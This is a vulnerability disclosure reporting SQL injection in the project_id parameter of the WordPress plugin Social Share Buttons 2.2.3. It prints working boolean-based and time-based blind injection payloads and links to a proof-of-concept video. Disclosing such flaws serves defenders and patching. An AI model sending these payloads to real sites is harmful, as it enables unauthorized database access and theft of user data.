Social Share Button 2.2.3 SQL Injection

## Title: Social Share Buttons-2.2.3 SQLi## Author: nu11secur1ty## Date: 09.16.2022## Vendor: https://wordpress.org/## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3## Description:The `project_id` parameter from the Social Share Buttons-2.2.3 systemappears to be vulnerable to SQL injection attacks.The malicious user can dump-steal the database, from this system andhe can use it for very malicious purposes.WARNING: The attacker can retrieve all-database from this system!NOTE: The users of this system are NOT protected, this SQLvulnerability is CRITICAL!STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: project_id (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: action=social-sharing-share&project_id=378116348' or'3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: action=social-sharing-share&project_id=378116348' or'3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND'KWbC'='KWbC&network_id=5&post_id=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)## Proof and Exploit:[href](https://streamable.com/m9r76w)